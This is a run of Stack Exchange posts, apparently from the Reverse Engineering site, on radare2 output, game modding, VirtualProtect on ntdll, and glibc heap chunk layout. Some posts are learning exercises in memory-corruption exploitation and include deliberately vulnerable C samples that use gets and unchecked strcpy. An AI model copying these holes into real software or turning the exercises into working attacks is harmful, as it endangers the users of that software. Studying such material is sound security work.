  <row Id="19284" PostTypeId="2" ParentId="19282" CreationDate="2018-09-07T07:41:53.383" Score="2" Body="&lt;p&gt;Not sure what version was used by &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/18698/megabeets&quot;&gt;Megabeets&lt;/a&gt; for this article but this output format output was changed in this &lt;a href=&quot;https://github.com/radare/radare2/commit/e5734c008efa925b752519709341c2ddd82dd9a5&quot; rel=&quot;nofollow noreferrer&quot;&gt;commit&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can change this &lt;code&gt;#if 0&lt;/code&gt; locally and rebuild or you can use &lt;code&gt;json&lt;/code&gt; format to get the &quot;headers&quot; - &lt;code&gt;izj~{}&lt;/code&gt;, but in this format strings will be base64 encoded.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA; &quot;vaddr&quot;: 4294987551,&#xA; &quot;paddr&quot;: 20255,&#xA; &quot;ordinal&quot;: 76,&#xA; &quot;size&quot;: 5,&#xA; &quot;length&quot;: 4,&#xA; &quot;section&quot;: &quot;4.__TEXT.__cstring&quot;,&#xA; &quot;type&quot;: &quot;ascii&quot;,&#xA; &quot;string&quot;: &quot;JTVzIA==&quot;&#xA;},&#xA;{&#xA; &quot;vaddr&quot;: 4294987556,&#xA; &quot;paddr&quot;: 20260,&#xA; &quot;ordinal&quot;: 77,&#xA; &quot;size&quot;: 6,&#xA; &quot;length&quot;: 5,&#xA; &quot;section&quot;: &quot;4.__TEXT.__cstring&quot;,&#xA; &quot;type&quot;: &quot;ascii&quot;,&#xA; &quot;string&quot;: &quot;JSpqZCA=&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-09-07T07:41:53.383" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19285" PostTypeId="1" CreationDate="2018-09-07T08:15:40.777" Score="1" ViewCount="79" Body="&lt;p&gt;I would really like to make a multiplayer mod for Fallout 4, I know how to program and i have a basic understanding of how to get opcodes and read/write to those. Now what i don't understand is how to find specific functions such as some sort of spawning function so i can spawn an npc to act as another player.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess what i need is specific books or tutorials that will help with reversing functions or looking for specific functions to call. Any help would be greatly appreatiated.&lt;/p&gt;&#xA;" OwnerUserId="25579" LastActivityDate="2018-09-07T08:44:37.117" Title="Need Advice for the purposes of learning" Tags="|assembly|x86-64|" AnswerCount="1" CommentCount="1" ClosedDate="2018-09-09T17:47:23.527" ContentLicense="CC BY-SA 4.0" />
  <row Id="19286" PostTypeId="2" ParentId="19285" CreationDate="2018-09-07T08:44:37.117" Score="0" Body="&lt;p&gt;You should start from official Bethesda website Community for mods developers:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bethesda.net/community/category/134/mod-relz-and-wips&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bethesda.net/community/category/134/mod-relz-and-wips&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if there is no proper information there - grab some mod that implement features/functions you looking for from mods directory: &lt;a href=&quot;https://bethesda.net/en/mods/fallout4&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bethesda.net/en/mods/fallout4&lt;/a&gt; and RE it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you will find all sorts of manuals on how to begin RE, tools and techniques. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;D.L.&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2018-09-07T08:44:37.117" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19287" PostTypeId="2" ParentId="18719" CreationDate="2018-09-07T10:31:02.523" Score="4" Body="&lt;p&gt;I gave it a go. First I simplified your code a little bit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def the_process(stored, inp, size):&#xA;    global thstr&#xA;    idx = 0&#xA;    idx = stored.index(inp[0])&#xA;    if idx:&#xA;        the_process(stored[:idx], inp[1:], idx)&#xA;    if size - 1 != idx:&#xA;        the_process(stored[idx+1:],inp[idx+1:], size - idx - 1)&#xA;    thstr.append(inp[0])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now it looks like by the naming that &lt;code&gt;stored&lt;/code&gt; is hardcoded in the binary. I considered &lt;code&gt;MGNCHXWIZDJAOKPELYSFUTV&lt;/code&gt; to be as is and the target output to be &lt;code&gt;MNGHCWZIJDXOPKLESUVTFYA&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the function it looks like that it takes the first char of &lt;code&gt;input&lt;/code&gt;, splits &lt;code&gt;stored&lt;/code&gt; at the location of that char and then recursively calls itself on the two parts made. I made a tree to follow that.&lt;a href=&quot;https://i.stack.imgur.com/l9wyN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/l9wyN.png&quot; alt=&quot;originalinput&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The graph is such that taking one char from input &lt;code&gt;TFSLPOJZCGMNHWXIDAKEYUV&lt;/code&gt; and position nodes/chars which are at the right/left appropriately(V is right to T in the graph as it is right to T in the &lt;code&gt;stored&lt;/code&gt;). In this graph the output is post order traversal of the graph and the input is pre order traversal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Similar graph can be constructed from the &lt;code&gt;target&lt;/code&gt; &lt;code&gt;MNGHCWZIJDXOPKLESUVTFYA&lt;/code&gt;. Only the reverse such that post order is given and construct the graph.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/cfh7V.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cfh7V.png&quot; alt=&quot;targetinput&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now pre order traverse this graph and you'll have your input &lt;code&gt;AXCGMNHDIWZJYEKOPLFSTUV&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The equivalent hackish function is this. feel free to make it better.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def rev_process(stored, inp, size):&#xA;    if not size:&#xA;        return&#xA;    global thstr&#xA;    mp = {stored[i] : i for i in xrange(len(stored))}&#xA;    idx = mp[inp[-1]]&#xA;    thstr.append(inp[-1])&#xA;    if size == 1:&#xA;        return&#xA;    try:&#xA;        less_part = max(loc for loc, val in enumerate(inp) if mp[val] &amp;lt; idx) + 1&#xA;    except ValueError:&#xA;        less_part = 0&#xA;    rev_process(stored[:idx], inp[:less_part], less_part, fs+1)&#xA;    if less_part!= size-1:&#xA;        rev_process(stored[idx+1:], inp[less_part:-1], size-less_part-1, fs+1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have also added the reversed function code and resources &lt;a href=&quot;https://gist.github.com/sudhackar/42b7c23ac301c59050e93536ef90b937&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14622" LastEditorUserId="14622" LastEditDate="2018-09-08T12:16:01.513" LastActivityDate="2018-09-08T12:16:01.513" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="19289" PostTypeId="1" CreationDate="2018-09-08T00:43:55.177" Score="1" ViewCount="780" Body="&lt;p&gt;i perform a loop in assembly where i am parsing the sections of ntdll change their memory permissions with &lt;strong&gt;VirtualProtect&lt;/strong&gt; and then revert them back to their original permissions. the code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;lea eax, [OldProtect]&#xA;push eax                      //here it will store the old protection value&#xA;push PAGE_EXECUTE_READWRITE&#xA;push dwSize                   //size of section&#xA;push lpAddress                //start address of section&#xA;call Virtual_Alloc&#xA;...&#xA;blahblah&#xA;...&#xA;lea eax, [OldProtect]&#xA;push eax&#xA;push OldProtect               //the protection value to revert&#xA;push dwSize                   //size of section               &#xA;push lpAddress                //address of section             &#xA;call Virtual_Protect&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The loop runs correctly on the first three sections &lt;b&gt;.text&lt;/b&gt;, &lt;b&gt;.RT&lt;/b&gt; and &lt;b&gt;.data&lt;/b&gt; which have initial memory permissions &lt;b&gt;ER&lt;/b&gt;, &lt;b&gt;ER&lt;/b&gt;, &lt;b&gt;RW&lt;/b&gt; respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that the in the next section which is the &lt;b&gt;.mrdata&lt;/b&gt; section and it is readable only, the memory protection changed succesfully from &lt;b&gt;R&lt;/b&gt; to &lt;b&gt;ERW&lt;/b&gt;. But When i try to revert back to the old protection the return value is 0x00000050 in eax and i get an exception. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What i want to ask is  why? Is this a false use of VirtualProtect? Or has something to do with the .mrdata section&lt;/p&gt;&#xA;" OwnerUserId="24740" LastActivityDate="2018-10-08T16:00:25.423" Title="VirtualProtect failed to revert protections on mrdata section of ntdll, why?" Tags="|windows|assembly|memory|dll|protection|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19290" PostTypeId="2" ParentId="19289" CreationDate="2018-09-08T15:04:38.480" Score="1" Body="&lt;p&gt;Oook i think i i found an answer but i didn't try it and needs more research, it seems there is a special Windows API function used to change protections on .mrdata called &lt;code&gt;LdrProtectMrdata( bProtect )&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;source: &lt;a href=&quot;http://mohamoha.club/2017/12/23/Bypass_CFG_Through_MRDATA/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://mohamoha.club/2017/12/23/Bypass_CFG_Through_MRDATA/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="24740" LastActivityDate="2018-09-08T15:04:38.480" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19291" PostTypeId="1" AcceptedAnswerId="19294" CreationDate="2018-09-08T15:49:27.373" Score="2" ViewCount="67" Body="&lt;p&gt;Here is the function&lt;a href=&quot;https://i.stack.imgur.com/zhDlV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zhDlV.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;There is a buffer of size 256 bytes created (malloc)&lt;/li&gt;&#xA;&lt;li&gt;in this buffer, the first 32 bits are set to 0 (because dword designates 32bits size)&lt;/li&gt;&#xA;&lt;li&gt;the next 32 bits (32 to 63) are set to C8h&lt;/li&gt;&#xA;&lt;li&gt;the next 32 bits (64 to 95) to 0.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then another pointer of memory size  3200 is created.&#xA;The address of this new pointer is written in the first buffer between the bit 127 to the bit 127+64=191. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then we return the address of the first buffer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!!!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?&lt;/p&gt;&#xA;" OwnerUserId="19467" LastActivityDate="2018-09-08T18:28:12.890" Title="Correct my understanding on a basic allocation memory" Tags="|assembly|linux|x86-64|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19293" PostTypeId="1" AcceptedAnswerId="19295" CreationDate="2018-09-08T16:18:35.843" Score="4" ViewCount="1035" Body="&lt;p&gt;I'm reading &lt;a href=&quot;https://www.wiley.com/en-us/The+Shellcoder%27s+Handbook%3A+Discovering+and+Exploiting+Security+Holes%2C+2nd+Edition-p-9780470080238&quot; rel=&quot;nofollow noreferrer&quot;&gt;Shellcoder's Handbook&lt;/a&gt; to learn more about exploitation and overflows. I reached the chapter on Heap Overflows. The book mentions that a heap is split into chunks where each chunk contains two important pieces of info: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The size of the previous chunk, if allocated&lt;/li&gt;&#xA;&lt;li&gt;Size of current chunck&lt;/li&gt;&#xA;&lt;li&gt;Data&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The following image is taken from a &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-07/Ferguson/Whitepaper/bh-usa-07-ferguson-WP.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blackhat presentation&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/M5AM5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/M5AM5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made a small demo to test this. Below is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    1 #include &amp;lt;stdio.h&amp;gt;&#xA;    2 #include &amp;lt;string.h&amp;gt;&#xA;    3 #include &amp;lt;stdlib.h&amp;gt;&#xA;    4&#xA;    5 int&#xA;    6 main (int argc, char *argv[]){&#xA;    7     char *buf, *buf2;&#xA;    8&#xA;    9     buf = (char *) malloc(1024);&#xA;   10     buf2 = (char *) malloc(1024);&#xA;   11&#xA;   12     printf(&quot;buf=%p\n&quot;, buf);&#xA;   13     printf(&quot;buf2=%p\n&quot;, buf2);&#xA;   14     strcpy(buf, argv[1]);&#xA;   15     strcpy(buf2, argv[2]);&#xA;   16     printf(&quot;buf=%s\n&quot;, buf);&#xA;   17     printf(&quot;buf2=%s\n&quot;, buf2);&#xA;   18     free(buf2);&#xA;   19     return 0;&#xA;   20 }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've placed a breakpoint on line 18 and checked the memory. Here's the dump after running the following command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;./basicheap $(python -c 'print(&quot;A&quot;*1000 + &quot; &quot; +&quot;XXXXABCDEFGH&quot;)')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the memory dump of &lt;code&gt;buf1&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048543]&amp;gt; pxw 0x50 @ [fcnvar.local_1ch]-8&#xA;0x0804b158  0x00000000 0x00000411 0x41414141 0x41414141  ........AAAAAAAA&#xA;0x0804b168  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA&#xA;0x0804b178  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA&#xA;0x0804b188  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA&#xA;0x0804b198  0x41414141 0x41414141 0x41414141 0x41414141  AAAAAAAAAAAAAAAA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the memory dump of &lt;code&gt;buf2&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x08048543]&amp;gt; pxw 0x50 @ [fcnvar.local_20h]-8&#xA;0x0804b568  0x00000000 0x00000411 0x58585858 0x44434241  ........XXXXABCD&#xA;0x0804b578  0x48474645 0x00000000 0x00000000 0x00000000  EFGH............&#xA;0x0804b588  0x00000000 0x00000000 0x00000000 0x00000000  ................&#xA;0x0804b598  0x00000000 0x00000000 0x00000000 0x00000000  ................&#xA;0x0804b5a8  0x00000000 0x00000000 0x00000000 0x00000000  ................&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The output shows &lt;code&gt;0x411&lt;/code&gt; as the size of the both chunk, which is 1024 + 17 bits for whatever. This is the the first (and only) piece of information in the header for both chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I don't see any info relating to any previous chunks. In &lt;em&gt;Shellcoder's&lt;/em&gt;, the author is trying to demonstrate how one can overflow &lt;code&gt;buf1&lt;/code&gt; to overwrite the header info of &lt;code&gt;buf2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did the writers of glibc forgo the size of previous chunk in the header info, or is it something I'm missing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S: The build command I used was &lt;code&gt;gcc -no-pie -g basicheap.c -o basicheap&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="24027" LastActivityDate="2018-09-08T21:14:26.473" Title="Heap Chunk Structure Does Not Contain Previous Section Info" Tags="|binary-analysis|radare2|exploit|shellcode|heap|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19294" PostTypeId="2" ParentId="19291" CreationDate="2018-09-08T18:22:10.017" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If I understand correctly:&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There is a buffer of size 256 bytes created (malloc) in this buffer,&#xA;  the first 32 bits are set to 0 (because dword designates 32bits size)&#xA;  the next 32 bits (32 to 63) are set to C8h the next 32 bits (64 to 95)&#xA;  to 0.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes!&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The address of this new pointer is written in the first buffer between the bit 127 &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Well it will be the 128th bit. The qword at &lt;code&gt;rax+0x10&lt;/code&gt; is 128 bits from the head of your first &lt;code&gt;malloc&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;But these aren't strictly bit offsets. You can calculate how many bits from the start of memory, but I would question why it matters. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PS: Additional question: why 'rax+1' is to understand as 'rax+8bits ' instead of rax+1bit?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;rax&lt;/code&gt; is a 64 bit register so you can use it to represent 2^64 values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If &lt;code&gt;rax&lt;/code&gt; is &lt;code&gt;0x12345678&lt;/code&gt; and I add &lt;code&gt;1&lt;/code&gt;, what should happen? It will become &lt;code&gt;0x12345679&lt;/code&gt; regardless of how many bits you want that to represent. (Oversimplification but I hope this make the point).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: &lt;code&gt;mov dword ptr [rax+4], 0xC8&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ref: &lt;a href=&quot;https://www.felixcloutier.com/x86/MOV.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.felixcloutier.com/x86/MOV.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the above ref, this is a &lt;code&gt;mov m32, imm32&lt;/code&gt; which means copy a 32bit constant into the 32bit DWORD &lt;em&gt;through this pointer&lt;/em&gt; &lt;code&gt;[rax+4]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So because &lt;code&gt;[rax+4]&lt;/code&gt; represents a pointer to byte addressable memory, the &lt;code&gt;+4&lt;/code&gt; represents 4 bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is only because the &lt;code&gt;m32&lt;/code&gt; operand to &lt;code&gt;mov&lt;/code&gt; is concerned with the address of bytes. There are other x86 instruction that can manipulate bits, but not this one.&lt;/p&gt;&#xA;" OwnerUserId="25462" LastEditorUserId="25462" LastEditDate="2018-09-08T18:28:12.890" LastActivityDate="2018-09-08T18:28:12.890" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19295" PostTypeId="2" ParentId="19293" CreationDate="2018-09-08T21:08:08.400" Score="9" Body="&lt;p&gt;The diagram you linked to seems to be wrong. &lt;strong&gt;The size of the previous chunk is stored in the current chunk iff, the previous chunk is free&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This image is more appropriate of what an allocated heap chunk looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/so4y7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/so4y7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;Source: &lt;a href=&quot;https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/&quot; rel=&quot;noreferrer&quot;&gt;https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/&lt;/a&gt;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets take the following code to demonstrate this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;&#xA;int main (int argc, char *argv[])&#xA;{&#xA;    char *buf1, *buf2, *buf3;&#xA;    buf1 = (char *) malloc(1024);&#xA;    buf2 = (char *) malloc(1024);&#xA;    buf3 = (char *) malloc(1024);&#xA;&#xA;    printf(&quot;buf1=%p\n&quot;, buf1);&#xA;    printf(&quot;buf2=%p\n&quot;, buf2);&#xA;    printf(&quot;buf3=%p\n&quot;, buf3);&#xA;&#xA;    memset(buf1, 'A', 1024);&#xA;    memset(buf2, 'B', 1024);&#xA;    memset(buf3, 'C', 1024);&#xA;&#xA;    free(buf2);&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: Instead of two chunks, I'm taking three chunks or otherwise freeing the first may coalesce it into the top chunk. We will free the middle chunk and examine the chunk contents before and after the &lt;code&gt;free&lt;/code&gt; call is executed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The binary was compiled with &lt;code&gt;gcc -m32 -g ./heap.c&lt;/code&gt;. Debug the binary in gdb as you would normally and set a breakpoint on line 20 at the &lt;code&gt;free(buf2)&lt;/code&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CJyx9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CJyx9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the breakpoint hit, let's examine the three chunks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gJQm2.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gJQm2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;malloc&lt;/code&gt; returns the pointer to &lt;code&gt;chunk + 8&lt;/code&gt;, so we subtracted 8 from each of the addresses. Additionally, I've also highlighted the chunk sizes (2nd member of a heap chunk) in the above image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However the chunk sizes are not actually &lt;code&gt;0x409&lt;/code&gt; . Glibc heap chunks are always aligned to 8 bytes which means the last three bits are always zero. Hence, these three bits are used for storing other information (&lt;code&gt;A&lt;/code&gt;, &lt;code&gt;M&lt;/code&gt; and &lt;code&gt;P&lt;/code&gt; bits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0x409&lt;/code&gt; when converted to binary comes out to be &lt;code&gt;100 0000 1001&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/JuOf7.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JuOf7.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get the true chunk size we have to discard the last three bits (&lt;code&gt;A&lt;/code&gt; &lt;code&gt;M&lt;/code&gt; &lt;code&gt;P&lt;/code&gt;) i.e. we should consider only &lt;code&gt;100 0000 1000&lt;/code&gt;. When this is converted to decimal we get 1032.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/84kOZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/84kOZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The true chunk size is indeed 1032. 1024 bytes for our data and the other 8 for the first two members.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Coming back to gdb, lets step over the &lt;code&gt;free&lt;/code&gt; call and examine the chunks once again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vV7ws.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vV7ws.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Chunk 2 has been freed. Let's have a look at chunk 3 (&lt;code&gt;buf3&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/NHdyo.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/NHdyo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first member of chunk 3 now contains &lt;code&gt;0x408&lt;/code&gt; which is &lt;code&gt;1032&lt;/code&gt; in decimal - this is the size of chunk 2. &lt;strong&gt;Thus the previous size is stored in chunk 3 only after chunk 2 has been freed, not when it is in-use&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;P&lt;/code&gt; bit I was referring before stands for &lt;code&gt;PREV_INUSE&lt;/code&gt;. This bit is set when the previous chunk is in use. Since the previous chunk is now free this bit is set to 0. As a result the second member now also contains &lt;code&gt;0x408&lt;/code&gt; (instead of &lt;code&gt;0x409&lt;/code&gt;) which equals &lt;code&gt;100 0000 1000&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EdYy9.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EdYy9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As shown in the image above, the &lt;code&gt;P&lt;/code&gt; bit is unset. Hope, this clears your understanding.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2018-09-08T21:14:26.473" LastActivityDate="2018-09-08T21:14:26.473" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="19296" PostTypeId="1" CreationDate="2018-09-08T21:35:46.727" Score="-2" ViewCount="203" Body="&lt;p&gt;for the practice i take some C code and compiled&#xA;i try put shellcode open some calc&#xA;and i not have idea which method i need to use&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5PNdd.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PNdd.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/aQLse.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/aQLse.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt;&#xA;&#xA;int main(void)&#xA;&#xA;&#xA;{&#xA;char buff[120];&#xA;int pass = 0;&#xA;&#xA;printf(&amp;quot;\n Enter the password : \n&amp;quot;);&#xA;gets(buff);&#xA;&#xA;if(strcmp(buff, &amp;quot;thegeekstuff&amp;quot;))&#xA;{&#xA;    printf (&amp;quot;\n Wrong Password \n&amp;quot;);&#xA;}&#xA;else&#xA;{&#xA;    printf (&amp;quot;\n Correct Password \n&amp;quot;);&#xA;    pass = 1;&#xA;}&#xA;&#xA;if(pass)&#xA;{&#xA;   /* Now Give root or admin rights to user*/&#xA;    printf (&amp;quot;\n Buffer success \n&amp;quot;);&#xA;}&#xA;&#xA;return 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&lt;p&gt;what the problem ?&lt;/p&gt;&#xA;" OwnerUserId="25596" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2018-09-12T12:31:52.120" Title="I have control to EIP but no have idea when put the shellcode - not have any dll return adress" Tags="|buffer-overflow|stack|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
